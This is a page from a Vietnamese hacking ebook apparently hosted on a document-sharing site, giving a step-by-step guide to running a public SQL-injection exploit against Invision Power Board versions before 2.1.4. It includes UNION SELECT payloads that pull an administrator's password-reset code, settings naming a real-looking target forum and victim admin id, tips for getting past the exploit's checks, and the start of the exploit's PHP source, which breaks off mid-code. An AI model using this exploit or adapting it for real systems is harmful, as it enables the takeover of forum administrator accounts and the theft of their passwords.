1. Trang chủ
  2. » Công Nghệ Thông Tin

Hacker Professional Ebook part 213 ppsx

6 45 0

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Nội dung

cay thiệt ++++ Bước 4: Chuyện nhỏ View Source Find từ "password" nhìn sang bên cạnh cái j` đây : su_bo_thang_nao_hack_pass_ong Oài ghê thật Đấy pass nó đấy Dinhcaohack(vniss) Bàn thêm về Invision Power Board Password Change SQL-Injection Trước tiên các bạn có thể xem Vuln và Exploit tại đây https://www.vniss.net/xforce/showthread.php?t=253 Exploit người ta cung cấp nói chung là chính xác. Tuy nhiên tùy trường hợp cụ thể mà có thể phải chỉnh sửa lại đôi chút. Trước tiên là cài đặt curl. Nếu bạn nào đã từng cài PHP trên local host thì việc thêm module curl chỉ đơn giản là vào file php.ini bỏ đi comment ở dòng PHP Code: ;extension=php_curl.dll thành PHP Code: extension=php_curl.dll sau đó chạy tạo file phpinfo.php có nội dung PHP Code: <? phpinfo();?> rồi run thử nếu thấy HTML Code: curl CURL support enabled CURL Information libcurl/7.14.0 OpenSSL/0.9.8a zlib/1.2.3 thì nghĩa là đã cài thành công cURL. Bây giờ bàn về cái exploit Lỗi trước tiên nhiều bạn gặp phải là để nguyên cái dòng này PHP Code: $proxy="24.48.*.*:**"; ## - your socks 4/5-proxy bạn phải chỉnh lại để dùng 1 proxy còn sống nếu không thích dùng proxy thì tìm đến dòng PHP Code: curl_setopt ($ch, CURLOPT_PROXY, $proxy); curl_setopt ($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); xóa hoặc comment nó lai. Tiếp theo là các thông số PHP Code: $host="http://www.hotungmau.org/forum"; ## - target forum $login="nothingtolosed";## tên người dùng $password="123456"## pasword $cook_name="topicsread";##cookie name, tìm trong file cookie của diễn đàn vic tim để biết tên chính xác $topic=1; ##một id của topic có thật $target=1; ## id của admin victim $cookie_file_path = "C:\cookie.txt";##một file có thể ghi đè trên máy của mình, để module cURL sử dụng Bây giờ đến phần chính PHP Code: $sent='%61%3A%32%3A%7B%73%3A'; if ($ver==1) $exp="- 999) UNION SELECT 0,vid,null,'open',0,1,1132440935,1,11132440935,0,n ull,nu ll,0,0,2,2,1,0,0,0,0,0,1,0,0,0,0,0,0 from ".$pref."validating where member_id=".$ta rget." LIMIT 1/*"; else $exp="- 999) UNION SELECT 0,vid,null,'open',0,1,1132440935,1,11132440935,0,n ull,nu ll,0,0,2,2,1,0,0,null,null,0,0,1,0 from ".$pref."validating where member_id=".$targ et." LIMIT 1/*"; Trên đây là phần exploit để lấy vid, là mã số để reset password. Và để có mã số này thì trước tiên các bạn phải vào phần forgot password, khai báo tên admin victim, để hệ thống tạo ra mã số vid. Nhiều bạn bỏ qua bước này nên dù exploit đúng vẫn ko thu được gì đơn giản là vì mã số vid chưa được tạo ra. Tiếp theo, trong exploit trên, chúng ta thấy field đầu tiên nó SELECT 0,vid. số 0 ở đây ứng với 1 topic id, nếu để nguyên như thế nó không cho kết quả thì nên đổi lại thành 1 topic id có thât. Ngoài ra field thứ 16 chính là forum_id. Nếu xem qua code file usercp, PHP Code: while ( $row = $this->ipsclass->DB->fetch_row() ) { if ( $this->ipsclass->forums->forum_by_id[ $row['forum_id'] ] ) { $topic = $this->forums->parse_data( $row ); $final_array[ $row['tid'] ] = $this->ipsclass- >compiled_templates['skin_forum']->render_forum_row( $topic ); } } ta thấy forum_id cũng được sử dụng để hiển thị kết quả. Chính vì vậy bạn cũng phải thay con số này bằng một forum_id có thật. Cuối cùng bạn hãy bỏ hết những dòng tương tự như là PHP Code: if (!strstr($result,$login)) { echo "error. Invalid Login or Password then Login "; exit; } else echo "done "; để exploit run từ đầu đến cuối mà không bị dừng giữa chừng. Lỗi này là do curl không xử lý tốt thẻ meta refesh. Sau đây là một code mẫu tôi đã sửa lai. PHP Code: <? /* ____ ________ __________ /____ \/__ __ \ /__________ \_ _ // _ \ / / / \ \ \\______ \__ __ \/ / // /__/ / / \| _/ | \ / / \_____ / / || | \ | / / /_____ / / / ||____|___/____/ \______/ \_/ / |_________/_____/\_______/\___/ === - security team - === Invision Power Board < 2.1.4 Password change SQL-Injection Exploit by roOstY Ru24 Security Team <= www.Ru24-Team.net => For example you can reset password for admin (link to "forget Password" add ask to change this password. At the end of exploit you get link to change admin password) Working in all Invision Power Forum forum before 2.1.4 but you need good mysql version ;) Greetz to Nitrex and Dukenn Regards to: Dr_UFO_51,k0pa,NSD,Naikon and other Before runing,you must setup some settings WARNING: You must setup the CURL-module for PHP! */ /* In any case at first you need to change password to $target if you can't understa nd that */ // error_reporting(E_ALL); ############ Settings ########################################## ################# ##$proxy="24.48.*.*:**"; ## - your socks 4/5-proxy $host="http://www.hotungmau.org/forum"; ## - target forum $login="nothingtolosed"; ## - login to forum $password="123456"; ## - pass to forum $cook_name="topicsread"; ## - target cookie name (default: ibf_topicsread) $topic=1; ## - any real topyc $target=1; ## - id target to admin or other user that you want to reset password ##### # At first you need to reset pasword for target user. # For example you can reset password for admin (link to "forget Password" add ask to change this password. At the end of you get link to change admin password) #### $len=32; ## 5 for salt ## it's my $ver=2; ## if not wor change to 2 $cookie_file_path = "C:\cookie.txt"; ## for my opinuion, you can to set other $agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; ################################################################# ############### $cookie=""; echo "Login "; $url=$host."/index.php?act=Login&CODE=01&CookieDate=1"; $reffer=$host."/index.php?act=Login&CODE=00"; $post['UserName']=urlencode($login); $post['PassWord']=urlencode($password); $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,$post,""); ### ### Login to the forum $cook=getcookiee($result); foreach ($cook as $k=>$v) { $cookie[$k]=$v; } echo "Redirecting to main page "; $url=$host.urldecode(ExtractString($result,$host,"\" ")); $result=querry($url,$agent,$proxy,$reffer,$cookie_file_path,"",""); ######

Ngày đăng: 04/07/2014, 12:20